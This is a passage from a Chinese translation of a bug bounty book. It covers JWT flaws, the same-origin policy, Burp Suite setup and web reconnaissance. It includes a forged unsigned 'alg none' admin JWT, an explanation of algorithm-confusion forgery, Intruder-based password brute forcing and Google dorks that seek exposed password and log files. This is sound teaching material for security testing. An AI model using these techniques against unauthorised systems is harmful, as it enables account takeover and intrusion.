4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
对于这个特定的令牌,签名是通过使用密钥key,使用 HS256 算法对字符串eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg进行签名生成的。完整的令牌将每个部分(头部、负载和签名)连接在一起,使用句点(.)分隔它们:
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
当正确实现时,JSON Web 令牌提供了一种安全的方式来识别用户。当令牌到达服务器时,服务器可以通过检查签名是否正确来验证令牌是否被篡改过。然后,服务器可以通过使用负载部分中的信息推断用户的身份。而且,由于用户无法访问用于签署令牌的密钥,他们无法篡改负载并自行签署令牌。
但如果实现不当,攻击者可以绕过安全机制并伪造任意令牌。
操作alg字段
有时应用程序在令牌到达服务器后未能验证其签名。这使得攻击者可以通过提供无效或空白签名,轻松绕过安全机制。
攻击者伪造令牌的一种方式是篡改令牌头部中的alg字段,该字段列出了用于编码签名的算法。如果应用程序未限制 JWT 中使用的算法类型,攻击者可以指定要使用的算法,从而可能危及令牌的安全性。
JWT 支持none选项作为算法类型。如果alg字段设置为none,即使令牌的签名部分为空,也会被认为是有效的。例如,考虑以下令牌:
eyAiYWxnIiA6ICJOb25lIiwgInR5cCIgOiAiSldUIiB9Cg.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.
这个令牌只是这两个数据块的 base64url 编码版本,没有签名部分:
{ "alg" : "none", "typ" : "JWT" } { "user" : "admin" }
这个功能最初是为了调试目的而使用的,但如果在生产环境中没有关闭,它会允许攻击者伪造任何他们想要的令牌,并冒充任何人。
攻击者还可以通过更改alg字段的算法类型来利用这一点。JWT 使用的两种最常见签名算法是 HMAC 和 RSA。HMAC 要求令牌用密钥签署,然后再用相同的密钥验证。当使用 RSA 时,令牌首先用私钥创建,然后用相应的公钥进行验证,公钥是任何人都可以读取的。对于 HMAC 令牌,密钥和 RSA 令牌的私钥必须保密,这是至关重要的。
假设某个应用程序最初设计时使用 RSA 令牌。这些令牌用私钥 A 签署,私钥 A 对外部是保密的。然后,令牌用公钥 B 进行验证,公钥 B 是公开的,任何人都可以访问。只要令牌始终作为 RSA 令牌处理,这种做法是没问题的。现在,如果攻击者将alg字段更改为 HMAC,他们可能通过用 RSA 公钥 B 签署伪造的令牌,创建有效的令牌。当签名算法切换为 HMAC 时,令牌仍然用 RSA 公钥 B 进行验证,但这时,令牌也可以使用同一个公钥进行签署。
暴力破解密钥
也有可能通过猜测或暴力破解来获取签署 JWT 所使用的密钥。攻击者可以从很多信息入手:签署令牌时使用的算法、已签名的负载以及结果签名。如果用来签署令牌的密钥不够复杂,他们可能很容易进行暴力破解。如果攻击者无法暴力破解密钥,他们可能会尝试泄露密钥。若存在其他漏洞,比如目录遍历、外部实体攻击(XXE)或 SSRF 等,攻击者可能会读取存储密钥值的文件,窃取密钥并签署任意令牌。我们将在后续章节讨论这些漏洞。
阅读敏感信息
由于 JSON Web 令牌用于访问控制,它们通常包含有关用户的信息。如果令牌没有加密,任何人都可以对令牌进行 base64 解码,并读取令牌的负载。如果令牌包含敏感信息,可能会成为信息泄露的源头。正确实现的 JSON Web 令牌签名部分提供数据完整性,而非保密性。
这些只是 JWT 安全问题的一些例子。想了解更多 JWT 漏洞的例子,可以搜索JWT 安全问题。任何身份验证机制的安全性不仅取决于其设计,还取决于其实现。JWT 是可以安全的,但前提是要正确实施。
同源策略
同源策略(SOP) 是一条限制来自一个源的脚本如何与另一个源的资源进行交互的规则。用一句话来说,SOP 就是:来自页面 A 的脚本只能在页面 A 和页面 B 属于同一源的情况下访问页面 B 的数据。这条规则保护现代网页应用程序,并防止许多常见的网络漏洞。
如果两个 URL 共享相同的协议、主机名和端口号,那么它们就被认为是同源的。让我们来看一些例子。页面 A 的 URL 是:
它使用 HTTPS,记住,HTTPS 默认使用端口 443。现在,查看以下页面,依据 SOP 判断哪些与页面 A 具有相同的源:
https://medium.com/ 的 URL 与页面 A 属于同一源,因为这两个页面共享相同的源、协议、主机名和端口号。其他三个页面与页面 A 不属于同一源。http://medium.com/ 与页面 A 属于不同的源,因为它们的协议不同。https://medium.com/ 使用 HTTPS,而 http://medium.com/ 使用 HTTP。https://twitter.com/@vickieli7 也是不同源,因为它有不同的主机名。最后,https://medium.com:8080/@vickieli 也是不同源,因为它使用端口 8080,而不是端口 443。
现在,让我们通过一个例子来看 SOP 是如何保护我们的。假设你已登录到你的银行网站 onlinebank.com。不幸的是,你在同一个浏览器中点击了一个恶意网站 attacker.com。
恶意网站向 onlinebank.com 发出一个 GET 请求以获取你的个人信息。由于你已登录银行,你的浏览器会自动将你的 cookies 包含在每个发送到 onlinebank.com 的请求中,即使请求是由恶意网站上的脚本生成的。由于请求中包含了有效的会话 ID,onlinebank.com 的服务器会通过发送包含你信息的 HTML 页面来满足该请求。然后,恶意脚本读取并获取页面上的私人电子邮件地址、家庭住址和银行信息。
幸运的是,SOP 会阻止在 attacker.com 上托管的恶意脚本读取从 onlinebank.com 返回的 HTML 数据。这避免了页面 A 上的恶意脚本获取嵌入在页面 B 中的敏感信息。
学习编程
现在你应该有了坚实的基础,能够帮助你理解我们将要讨论的大多数漏洞。在设置你的黑客工具之前,我建议你学习编程。编程技能非常有用,因为寻找漏洞涉及许多重复性任务,通过学习 Python 或 Shell 脚本等编程语言,你可以将这些任务自动化,从而节省大量时间。
你还应该学习阅读 JavaScript,这是大多数网站使用的编程语言。阅读一个网站的 JavaScript 代码可以帮助你了解它的工作原理,让你快速找到漏洞。许多顶级黑客表示,他们的秘诀就是阅读 JavaScript,寻找隐藏的端点、不安全的编程逻辑和秘密密钥。我也通过阅读 JavaScript 源代码发现了许多漏洞。
Codecademy 是一个学习编程的好资源。如果你更喜欢阅读书籍的话,《Learn Python the Hard Way》(Zed Shaw 著,Addison-Wesley Professional,2013)是学习 Python 的好方法。而阅读《Eloquent JavaScript》第三版(Marijn Haverbeke 著,No Starch Press,2019)是掌握 JavaScript 的最佳途径之一。
第四章:环境设置与流量拦截

如果您在一个精心设计的实验室中寻找漏洞,您将节省大量的时间和精力。在本章中,我将一步步指导您设置黑客攻击环境。您将配置浏览器与 Burp Suite 配合使用,Burp Suite 是一个 web 代理工具,允许您查看和修改浏览器与 web 服务器之间发送的 HTTP 请求和响应。您将学习如何使用 Burp 的功能拦截网络流量、发送自动化和重复的请求、解码编码内容,并对比请求。我还会讲解如何做好漏洞赏金笔记。
本章仅关注设置 web 攻击环境。如果您的目标是攻击移动应用程序,您将需要额外的设置和工具。我们将在第二十三章中介绍这些内容,届时将讨论移动端黑客攻击。
选择操作系统
在继续之前,您需要做的第一件事是选择一个操作系统。您的操作系统将限制您可用的黑客工具。我建议使用基于 Unix 的系统,如 Kali Linux 或 macOS,因为许多开源黑客工具都是为这些系统编写的。Kali Linux 是一款为数字取证和黑客攻击设计的 Linux 发行版。它包括许多有用的漏洞赏金工具,如 Burp Suite、DirBuster 和 Gobuster 等侦察工具,以及 Wfuzz 等模糊测试工具。您可以从 www.kali.org/downloads/ 下载 Kali Linux。
如果这些选项无法使用,您可以随意使用其他操作系统进行黑客攻击。只需记住,您可能需要学习使用与本书中提到的工具不同的工具。
设置基本工具:浏览器和代理
接下来,您需要一个 web 浏览器和一个 web 代理。您将使用浏览器来检查目标应用程序的功能。我推荐使用 Firefox,因为它是与代理配合使用时最简单的浏览器。您还可以在黑客攻击时使用两个不同的浏览器:一个用于浏览目标,另一个用于在互联网上研究漏洞。这样,您可以轻松地隔离目标应用程序的流量,以便进一步检查。
代理 是位于客户端和服务器之间的软件;在这种情况下,它位于您的浏览器和您交互的 web 服务器之间。它在将您的请求传递给服务器之前拦截请求,并在将服务器的响应传递给您之前拦截响应,像这样:
- 浏览器 <--------------> 代理 <--------------> 服务器
在漏洞赏金猎取中,使用代理是至关重要的。代理允许您查看和修改发送到服务器的请求以及从服务器返回到浏览器的响应,正如我在本章后面所解释的那样。没有代理,浏览器和服务器将自动交换信息,而您对此一无所知,您只能看到最终的网页结果。代理则会捕获所有信息,确保在信息传递给预定的接收者之前先被捕捉到。
因此,代理可以通过检查和分析往返服务器的流量来执行侦察。它们还可以让您检查有趣的请求,寻找潜在的漏洞,并通过篡改请求来利用这些漏洞。
例如,假设您访问了您的电子邮件收件箱,并拦截了通过代理返回您的电子邮件的请求。这是一个 GET 请求,URL 中包含了您的用户 ID。您还会注意到请求中包含了一个带有用户 ID 的 Cookie:
GET /emails/USER_ID HTTP/1.1
Host: example.com
Cookie: user_id=USER_ID
在这种情况下,您可以尝试将 URL 中的 USER_ID 和 Cookie 头部中的用户 ID 改为另一个用户的 ID,看看是否能够访问另一个用户的电子邮件。
两种代理工具在漏洞悬赏猎人中尤其受欢迎:Burp Suite 和 Zed Attack Proxy(ZAP)。本节将向您展示如何设置 Burp,但您也可以选择使用 ZAP。
打开内置浏览器
Burp Suite 和 ZAP 都带有内置浏览器。如果您选择使用这些内置浏览器进行测试,您可以跳过接下来的两个步骤。要使用 Burp Suite 的内置浏览器,请在启动后点击 Burp 的 Proxy 选项卡中的Open browser(图 4-1)。这个内置浏览器的流量将自动通过 Burp 路由,无需额外设置。

图 4-1:您可以使用 Burp 的内置浏览器进行测试,而不是使用您自己的外部浏览器。
设置 Firefox
Burp 的内置浏览器提供了一种方便的方式,能够通过最小的设置开始漏洞猎捕。然而,如果您像我一样,喜欢使用自己习惯的浏览器进行测试,您可以设置 Burp 与您的浏览器一起使用。让我们设置 Burp 与 Firefox 一起使用。
首先下载并安装您的浏览器和代理。您可以从 www.mozilla.org/firefox/new/ 下载 Firefox 浏览器,从 portswigger.net/burp/ 下载 Burp Suite。
漏洞悬赏猎人使用 Burp Suite 的两个版本之一:Professional 或 Community。使用 Burp Suite Professional 需要购买许可证,而 Community 版本则是免费的。Burp Suite Pro 包含漏洞扫描器和其他便捷功能,例如保存工作会话以便稍后恢复。它还提供了 Burp intruder 的完整版本,而 Community 版本仅包含有限版本。在本书中,我介绍了如何使用 Community 版本来进行漏洞猎捕。
现在,您需要配置浏览器,使其通过代理路由流量。本节将教您如何配置 Firefox 以与 Burp Suite 配合使用。如果您使用的是其他浏览器-代理组合,请查阅它们的官方文档以获取教程。
启动 Firefox。然后通过选择 Preferences▶General▶Network Settings 打开连接设置页面。您可以从 Firefox 右上角的菜单中访问 Preferences 选项卡(图 4-2)。

图 4-2:你可以在 Firefox 的右上角找到首选项选项。
连接设置页面应该与 Figure 4-3 中的样子相似。
选择 Manual proxy configuration 并为所有协议类型输入 IP 地址 127.0.0.1 和端口 8080。这将告诉 Firefox 使用你机器上端口 8080 上运行的服务作为所有流量的代理。127.0.0.1 是本地主机的 IP 地址,它标识你的当前计算机,因此你可以用它来访问你机器上运行的网络服务。由于 Burp 默认运行在 8080 端口上,这个设置告诉 Firefox 将所有流量通过 Burp 路由。点击 OK 来完成设置。现在,Firefox 会通过 Burp 路由所有流量。

图 4-3:在连接设置页面配置 Firefox 的代理设置。
配置 Burp
下载 Burp Suite 后,打开它并点击 Next,然后点击 Start Burp。你应该会看到一个像 Figure 4-4 的窗口。

图 4-4:Burp Suite Community Edition 启动窗口
现在让我们配置 Burp,使其能够与 HTTPS 流量一起工作。HTTPS 通过加密你的流量来保护数据的隐私,确保通信中的两方(你的浏览器和服务器)才能解密流量。这也意味着你的 Burp 代理无法拦截往返浏览器的 HTTPS 流量。为了解决这个问题,你需要通过安装 Burp 的证书颁发机构(CA)证书,向 Firefox 显示你的 Burp 代理是一个受信任的方。
让我们在 Firefox 上安装 Burp 的证书,这样你就可以处理 HTTPS 流量了。打开并运行 Burp,并将你的代理设置为 127.0.0.1:8080,然后在浏览器中访问 http://burp/。你应该会看到 Burp 的欢迎页面 (Figure 4-5)。点击右上角的 CA Certificate 来下载证书文件,然后点击 Save File 将其保存在一个安全的位置。

图 4-5:访问 http://burp/ 以下载 Burp 的 CA 证书。
接下来,在 Firefox 中点击 Preferences▶Privacy & Security▶Certificates▶View Certificates▶Authorities。点击 Import 并选择你刚才保存的文件,然后点击 Open。按照对话框中的提示,信任该证书以识别网站 (Figure 4-6)。

图 4-6:在 Firefox 的对话框中选择 Trust this CA to identify websites 选项。
重启 Firefox。现在你应该可以拦截 HTTP 和 HTTPS 流量了。
让我们进行一次测试,确保 Burp 正常工作。切换到 Burp 的 Proxy 标签页,通过点击 Intercept is off 来开启流量拦截。按钮现在应该显示为 Intercept is on (Figure 4-7)。这意味着你现在正在拦截来自 Firefox 或嵌入式浏览器的流量。

图 4-7:拦截开启意味着你现在正在拦截流量。
然后打开 Firefox 并访问 www.google.com/。在 Burp 的代理中,你应该会看到主窗口开始填充各个请求。Burp 代理中的 Forward 按钮将把当前请求发送到指定的服务器。点击 Forward,直到你看到带有主机名 www.google.com 的请求。如果你看到这个请求,说明 Burp 正在正确地拦截 Firefox 的流量。它应该像这样开始:
GET / HTTP/1.1
Host: www.google.com
点击 Forward 将请求发送到 Google 的服务器。你应该会看到 Google 的主页出现在你的 Firefox 窗口中。
如果你在 Burp 的窗口中看不到请求,可能是你没有正确安装 Burp 的 CA 证书。请按照本章中的步骤重新安装证书。此外,检查你是否在 Firefox 的连接设置中将代理设置为 127.0.0.1:8080。
使用 Burp
Burp Suite 除了 Web 代理外,还有许多有用的功能。Burp Suite 还包括一个 intruder 用于自动化攻击,一个 repeater 用于操控单个请求,一个 decoder 用于解码编码内容,和一个 comparer 工具用于比较请求和响应。在 Burp 的所有功能中,这些对于漏洞奖励猎人来说是最有用的,所以我们将在这里探讨它们。
代理
让我们看看如何使用 Burp 代理 来检查请求、修改它们,并将其转发到 Burp 的其他模块。打开 Burp 并切换到代理标签,开始探索它的功能!要开始拦截流量,确保拦截按钮显示“拦截已开启”(图 4-8)。

图 4-8:Burp 代理标签显示拦截已开启。
当你在 Firefox 或 Burp 的内置浏览器中浏览一个网站时,你应该会看到一个 HTTP/HTTPS 请求出现在主窗口中。当拦截功能开启时,你浏览器发送的每个请求都会通过 Burp,除非你在代理窗口中点击 Forward,否则它不会发送到服务器。你可以利用这个机会在发送请求到服务器之前修改请求,或者将其转发到 Burp 的其他模块。你还可以使用窗口底部的搜索栏来搜索请求或响应中的字符串。
要将请求转发到另一个 Burp 模块,右键点击请求并选择 Send to Module(图 4-9)。
让我们通过使用 Burp 代理来练习拦截和修改流量!进入 Burp 代理并开启流量拦截。然后打开 Firefox 或 Burp 的内置浏览器,访问 www.google.com/。如同前面一节中所做的,点击 Forward,直到你看到带有主机名 www.google.com 的请求。你应该会看到类似于以下的请求:
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close

图 4-9:你可以通过右键点击请求或响应将其转发到不同的 Burp 模块。
在发送请求之前,让我们先修改一下这个请求。将Accept-Language头部的值更改为de。
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept-Language: **de**
Accept-Encoding: gzip, deflate
Connection: close
点击转发将请求发送到谷歌的服务器。你应该会看到谷歌的德语主页在你的浏览器窗口中显示出来(图 4-10)。

图 4-10:谷歌的德语主页
如果你是德语使用者,可以反向进行测试:将Accept-Language头部的值从de切换到en。你应该会看到谷歌的英文主页。恭喜!你现在已经成功地通过代理拦截、修改并转发了一个 HTTP 请求。
入侵者
Burp 的入侵者工具可以自动发送请求。如果你使用的是 Burp 的社区版,入侵者将是一个有限的试用版本。但它仍然允许你进行像暴力破解这样的攻击,攻击者会使用一组预设的值提交大量请求到服务器,查看服务器是否有不同的响应。例如,一个黑客获取了常用密码的列表后,可以通过反复提交登录请求,使用所有常见密码来尝试突破你的账户。你可以通过右键单击代理窗口中的请求并选择发送到入侵者来将请求发送到入侵者。
入侵者选项卡中的目标屏幕让你指定要攻击的主机和端口(图 4-11)。如果你从代理转发请求,主机和端口会为你自动填充。

图 4-11:你可以在目标屏幕上指定要攻击的主机和端口。
入侵者提供了多种自定义攻击的方式。对于每个请求,你可以选择使用的有效载荷和有效载荷位置。有效载荷是你想要插入到请求中特定位置的数据。有效载荷位置则指定哪些请求部分将被你选择的有效载荷替代。例如,假设用户通过向example.com/login发送 POST 请求登录example.com。在 Burp 中,这个请求可能看起来像这样:
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close
username=vickie&password=abc123
POST 请求体包含两个参数:username和password。如果你想暴力破解一个用户的账户,可以只更改请求中的password字段,保持其他部分不变。为了实现这一点,指定有效载荷位置在位置屏幕中(图 4-12)。要将请求的一部分添加到有效载荷位置,选中该文本并点击右侧的添加。

图 4-12:你可以在位置屏幕上指定有效载荷位置。
然后,切换到有效负载屏幕(图 4-13)。在这里,你可以选择插入请求的有效负载。为了暴力破解登录密码,你可以在这里添加常用密码列表。你还可以例如使用一组数字来暴力破解请求中的 ID,或使用你从互联网上下载的攻击有效负载列表。重用他人共享的攻击有效负载可以帮助你更快地找到漏洞。我们将在第二十五章详细讲解如何使用重用的有效负载来寻找漏洞。

图 4-13:在有效负载屏幕上选择你的有效负载列表。
一旦指定了这些内容,点击开始攻击按钮以启动自动化测试。入侵者会为你列出的每个有效负载发送一个请求并记录所有响应。然后你可以查看响应和响应代码,并寻找有趣的结果。
重放器
重放器可能是你最常用的工具(图 4-14)。你可以使用它修改请求并详细检查服务器响应。你还可以使用它将有趣的请求收藏,以便稍后再回来查看。
尽管重放器和入侵者都允许你操作请求,但这两种工具的目的截然不同。入侵者通过自动发送经过程序修改的请求来自动化攻击,而重放器则用于对单个请求进行手动、详细的修改。
通过右键点击请求并选择发送到重放器,将请求发送到重放器。
重放器屏幕的左侧是请求。你可以在这里修改请求,并通过点击顶部的发送按钮将修改后的请求发送到服务器。服务器返回的相应响应将显示在右侧。
重放器适合手动利用漏洞,尝试绕过过滤器,测试不同的攻击方法,目标是相同的端点。

图 4-14:重放器适用于对请求进行仔细检查和手动利用。
解码器
Burp 的解码器是一个方便的工具,用于编码和解码你在请求和响应中发现的数据(图 4-15)。我通常使用它来解码、操作并重新编码应用数据,然后再将其转发给应用程序。

图 4-15:你可以使用解码器解码应用数据,以便阅读或操作其明文。
通过在任何请求或响应中高亮一段文本,然后右键点击并选择发送到解码器,将数据发送到解码器。使用右侧的下拉菜单指定用于编码或解码消息的算法。如果你不确定消息使用了哪种编码算法,可以尝试智能解码。Burp 会尝试检测编码方式并相应地解码消息。
比较器
比较器是一种比较请求或响应的方式(图 4-16)。它会突出显示两块文本之间的差异。你可能会使用它来检查参数差异如何影响从服务器得到的响应,例如。
通过高亮显示请求或响应中的文本块,然后右键点击并选择发送到比较器,可以将数据发送到比较器。

图 4-16:比较器将突出显示两块文本之间的差异。
保存 Burp 请求
你也可以在 Burp 中保存请求和响应。只需右键点击任何请求并选择复制 URL、复制为 curl 命令或复制到文件,将这些结果存储到该目标的笔记文件夹中。复制 URL 选项复制请求的 URL。复制为 curl 命令选项复制整个请求,包括请求方法、URL、头部和主体,以 curl 命令的形式。复制到文件选项将整个请求保存到单独的文件中。
关于...做笔记的最后提醒
在开始查找下章中的漏洞之前,给你一句建议:组织技能对于成功参与漏洞悬赏至关重要。当你处理具有大范围的目标或同时黑客多个目标时,从目标收集到的信息可能会迅速膨胀,变得难以管理。
通常,你不会立刻找到漏洞。相反,你会发现很多奇怪的行为和配置错误,这些问题当前可能无法被利用,但你可以在后续攻击中将它们与其他行为结合起来。你需要对找到的任何新功能、配置错误、小漏洞和可疑端点做好笔记,以便快速回头使用它们。
笔记还有助于你规划攻击。你可以跟踪你的黑客进展、已测试的功能和仍需检查的功能。这样可以避免通过反复测试相同的功能浪费时间。
笔记的另一个好用法是记录你了解到的漏洞信息。记录每个漏洞的细节,如其理论概念、潜在影响、利用步骤以及示例概念验证代码。随着时间的推移,这将增强你的技术技能,并积累一个技术库,必要时可以重新访问。
由于这些笔记往往会膨胀并变得非常杂乱,从一开始就将其组织好是非常重要的。我喜欢使用 Sublime Text (www.sublimetext.com/) 在纯文本文件中做笔记,并通过将它们分类到目录中来组织,针对每个目标和主题再创建子目录。
例如,你可以为每个正在处理的目标创建一个文件夹,如 Facebook、Google 或 Verizon。然后,在这些文件夹中创建文件,记录有趣的端点、新的和隐藏的功能、侦察结果、草稿报告和 POC(概念验证)。
找到一种适合你的笔记和组织策略。例如,如果你像我一样更喜欢以纯文本存储笔记,你可以寻找一个让你感觉最舒适的集成开发环境(IDE)或文本编辑器。有些人喜欢使用 Markdown 格式来做笔记。在这种情况下,Obsidian(obsidian.md/)是一个非常好的工具,可以以有序的方式展示你的笔记。如果你喜欢使用思维导图来组织想法,可以试试思维导图工具 XMind(www.xmind.net/)。
将你的漏洞赏金笔记保存在一个集中位置,比如外部硬盘或云存储服务(如 Google Drive 或 Dropbox),并且不要忘记定期备份你的笔记!
总结一下,以下是一些帮助你做好笔记的技巧:
-
记录任何异常行为、新特性、配置错误、轻微的漏洞和可疑的端点,以便跟踪潜在的安全漏洞。
-
做笔记以跟踪你的黑客进展,已经测试的特性以及那些你还需要检查的特性。
-
在学习时做笔记:记下你所学到的每个漏洞的信息,比如它的理论概念、潜在影响、利用步骤以及示例 POC 代码。
-
从一开始就保持笔记的有序,这样当你需要时就能轻松找到!
-
找到一个适合你的笔记和组织流程。你可以尝试一些笔记工具,如 Sublime Text、Obsidian 和 XMind,找出最适合你的工具。
第五章:Web 渗透测试侦察

攻击任何目标的第一步是进行侦察,简单来说,就是收集关于目标的信息。侦察很重要,因为它是你了解应用程序攻击面的方法。为了最有效地寻找漏洞,你需要在决定最有效的攻击方法之前,发现所有可能的攻击目标的方式。
例如,如果一个应用程序不使用 PHP,就没有必要测试它的 PHP 漏洞;如果组织没有使用 Amazon Web Services (AWS),你也不应该浪费时间尝试破解其存储桶。通过了解目标的工作原理,你可以为发现漏洞奠定坚实的基础。侦察技能是区分一个优秀黑客和一个无效黑客的关键。
在本章中,我将介绍最有用的侦察技术,供漏洞赏金猎人使用。然后,我将带你学习如何编写 bash 脚本来自动化侦察任务,并提高效率。Bash 是一个在 macOS 和 Linux 系统上可用的 shell 解释器。虽然本章假设你使用的是 Linux 系统,但你应该能够在其他操作系统上安装许多这些工具。你需要在使用这些工具之前先安装它们。我在本章的末尾包含了所有工具的链接。
在你继续之前,请验证你是否被允许对目标进行侵入式侦察,再尝试任何与目标进行主动交互的技术。特别是,端口扫描、爬虫和目录暴力破解等活动可能会在网站上生成大量不必要的流量,并且可能不受组织的欢迎。
手动浏览目标
在我们深入讨论其他内容之前,首先手动浏览应用程序会帮助你了解它。尝试通过浏览每一页和点击每个链接,发现应用程序中用户可以访问的每一个功能。访问你通常不使用的功能。
例如,如果你在进行 Facebook 渗透测试,尝试创建一个事件、玩一个游戏,并使用支付功能,如果你之前从未这样做过。注册每个权限级别的账户,以揭示应用程序的所有功能。例如,在 Slack 上,你可以创建工作区的所有者、管理员和成员。还可以创建属于不同频道的用户,但在同一个工作区下。这样,你就可以看到不同用户在应用程序中的视图。
这应该能给你一个大致的了解,关于攻击面(攻击者可以尝试利用应用程序的所有不同点)的样子,数据输入点在哪里,以及不同用户之间如何互动。然后,你可以开始更深入的侦察过程:了解应用程序的技术和结构。
Google Dorking
在寻找漏洞时,你经常需要研究漏洞的细节。如果你正在利用潜在的跨站脚本攻击(XSS)漏洞,你可能想要找到你在 GitHub 上看到的某个特定有效载荷。高级搜索引擎技巧将帮助你快速、准确地找到所需的资源。
事实上,高级 Google 搜索是一种黑客经常使用的强大技术,用于执行侦察。黑客将其称为Google dorking。对于普通人来说,Google 只是一个用来查找图片、视频和网页的文本搜索工具。但对于黑客而言,Google 可以成为发现有价值信息的手段,如隐藏的管理员门户、解锁的密码文件和泄露的身份验证密钥。
Google 的搜索引擎有自己内置的查询语言,可以帮助你筛选搜索结果。以下是一些可以与任何 Google 搜索一起使用的最有用的操作符:
site
- 告诉 Google 只显示来自某个特定网站的结果。这将帮助你快速找到你正在研究的主题的最权威来源。例如,如果你想搜索 Python 的
print()函数的语法,你可以通过以下搜索将结果限制为官方 Python 文档:print site:python.org。
inurl
- 查找 URL 匹配搜索字符串的页面。这是搜索特定网站上存在漏洞页面的一种强大方式。假设你读了一篇博客,介绍了网站上名为/course/jumpto.php的页面可能表明存在远程代码执行漏洞。你可以通过搜索
inurl:"/course/jumpto.php" site:example.com来检查目标是否存在该漏洞。
intitle
- 查找页面标题中的特定字符串。这很有用,因为它可以帮助你找到包含特定类型内容的页面。例如,web 服务器上的文件列表页面通常在标题中包含index of。你可以使用此查询来搜索网站上的目录页面:
intitle:"index of" site:example.com*。
link
- 查找包含指定 URL 链接的网页。你可以用它来查找关于不常见技术或漏洞的文档。例如,假设你正在研究不常见的正则表达式拒绝服务(ReDoS)漏洞。你可以轻松找到它的定义,但可能很难找到实例。
link操作符可以发现引用漏洞 Wikipedia 页面来定位讨论同一话题的页面:link:"https://en.wikipedia.org/wiki/ReDoS"。
filetype
- 查找具有特定文件扩展名的页面。这是一个非常强大的黑客工具;黑客经常使用它来定位目标站点上可能敏感的文件,比如日志文件和密码文件。例如,以下查询会在目标站点上搜索日志文件,这些文件通常具有.log文件扩展名:
filetype:log site:example.com。
Wildcard (*)
- 你可以在搜索中使用通配符运算符 (
*) 来表示任何字符或字符序列。例如,以下查询将返回任何以how to hack开头并以using Google结尾的字符串。它会匹配像how to hack websites using Google、how to hack applications using Google等字符串:"how to hack * using Google"。
引号 (" ")
- 在搜索词周围添加引号可以强制精确匹配。例如,这个查询将搜索包含短语如何黑客攻击的页面:
"how to hack"。而这个查询将搜索包含how、to 和 hack 的页面,但它们不一定会出现在一起:how to hack。
或运算符 (|)
- 或运算符由管道字符 (
|) 表示,可以用来搜索一个或另一个搜索词,或者同时搜索两者。管道字符必须用空格分隔。例如,这个查询将在 Reddit 或 Stack Overflow 上搜索如何黑客攻击:"how to hack" site:(reddit.com | stackoverflow.com)。而这个查询将搜索提到SQL 注入或SQLi的网页:(SQL Injection | SQLi)。SQLi 是一个常用于指代 SQL 注入攻击的缩写,我们将在第十一章讨论这一点。
减号 (-)
- 减号运算符 (
-) 排除某些搜索结果。例如,假设你有兴趣了解讨论黑客攻击的网站,但不包括那些讨论黑客攻击 PHP 的网站。这个查询将搜索包含如何黑客攻击网站但不包含php的页面:"how to hack websites" -php。
你可以通过多种方式使用高级搜索引擎选项来提高工作效率。你甚至可以搜索Google 搜索运算符以发现更多功能。这些运算符可能比你预期的更有用。例如,查找某个公司所有子域名的方法如下:
site:*.example.com
你还可以寻找可能导致漏洞的特殊端点。Kibana 是一个数据可视化工具,展示服务器操作数据,如服务器日志、调试信息和服务器状态。被攻击的 Kibana 实例可以让攻击者收集关于网站运行的广泛信息。许多 Kibana 仪表盘位于 app/kibana 路径下,因此这个查询将揭示目标是否有 Kibana 仪表盘。你可以尝试访问该仪表盘,看看它是否没有保护:
site:example.com inurl:app/kibana
Google 可以找到由第三方在线托管的公司资源,例如 Amazon S3 存储桶(我们将在第 74 页的“第三方托管”部分详细讨论这些内容):
site:s3.amazonaws.com `COMPANY_NAME`
查找可能指示敏感文件的特殊扩展名。除了 .log,它通常表示日志文件外,还可以搜索 .php、cfm、asp、.jsp 和 .pl,这些扩展名通常用于脚本文件:
site:example.com ext:php
site:example.com ext:log
最后,你还可以结合多个搜索词进行更精确的搜索。例如,这个查询将在example.com网站上搜索包含password的文本文件:
site:example.com ext:txt password
除了构建自己的查询外,可以查看 Google Hacking Database(www.exploit-db.com/google-hacking-database/),这是黑客和安全从业者用来共享 Google 搜索查询以查找与安全相关信息的网站。它包含许多在侦察过程中对你有帮助的搜索查询。例如,你可以找到搜索包含密码的文件、常见的管理员门户 URL 或者使用易受攻击软件构建的页面的查询。
当你使用 Google 搜索进行侦察时,请记住,如果你发送大量搜索查询,Google 会开始要求来自你网络的访问者在继续搜索前进行 CAPTCHA 挑战。这可能会对你网络上的其他人造成困扰,所以我不建议在企业或共享网络上进行 Google dorking。
范围发现
现在让我们深入了解侦察过程。首先,始终验证目标的范围。一款程序的范围会在其政策页面上明确,说明哪些子域名、产品和应用程序是你可以攻击的。仔细核实哪些公司资产在范围内,以避免在侦察和攻击过程中越界。例如,如果example.com的政策规定dev.example.com和test.example.com不在范围内,那么你不应对这些子域名进行任何侦察或攻击。
验证完这些内容后,了解实际的范围。你可以攻击哪些域名、子域名和 IP 地址?组织在这些机器上托管了哪些公司资产?
WHOIS 和反向 WHOIS
当公司或个人注册域名时,他们需要向域名注册商提供识别信息,如邮寄地址、电话号码和电子邮件地址。任何人都可以通过使用whois命令查询这些信息,该命令查找每个已知域名的注册人和所有者信息。你可能能够找到关联的联系信息,如电子邮件、姓名、地址或电话号码:
$ **whois** `facebook.com`
这些信息并不总是可用的,因为一些组织和个人使用一种叫做域名隐私的服务,在这种服务中,第三方服务提供商会将用户的信息替换为转发服务的相关信息。
然后你可以进行反向 WHOIS 搜索,通过使用组织名称、电话号码或电子邮件地址查询数据库,找到与其注册的域名。通过这种方式,你可以找到所有属于同一所有者的域名。反向 WHOIS 对于查找不公开的、模糊的或内部域名非常有用。使用像 ViewDNS.info(viewdns.info/reversewhois/)这样的公共反向 WHOIS 工具进行此类搜索。WHOIS 和反向 WHOIS 将为你提供一组良好的顶级域名供你使用。
IP 地址
发现目标的顶级域名的另一种方法是查找 IP 地址。通过运行nslookup命令查找你已知域名的 IP 地址。你可以看到这里的facebook.com 位于 157.240.2.35:
$ **nslookup facebook.com**
Server: 192.168.0.1
Address: 192.168.0.1#53
Non-authoritative answer:
Name: facebook.com
Address: 157.240.2.35
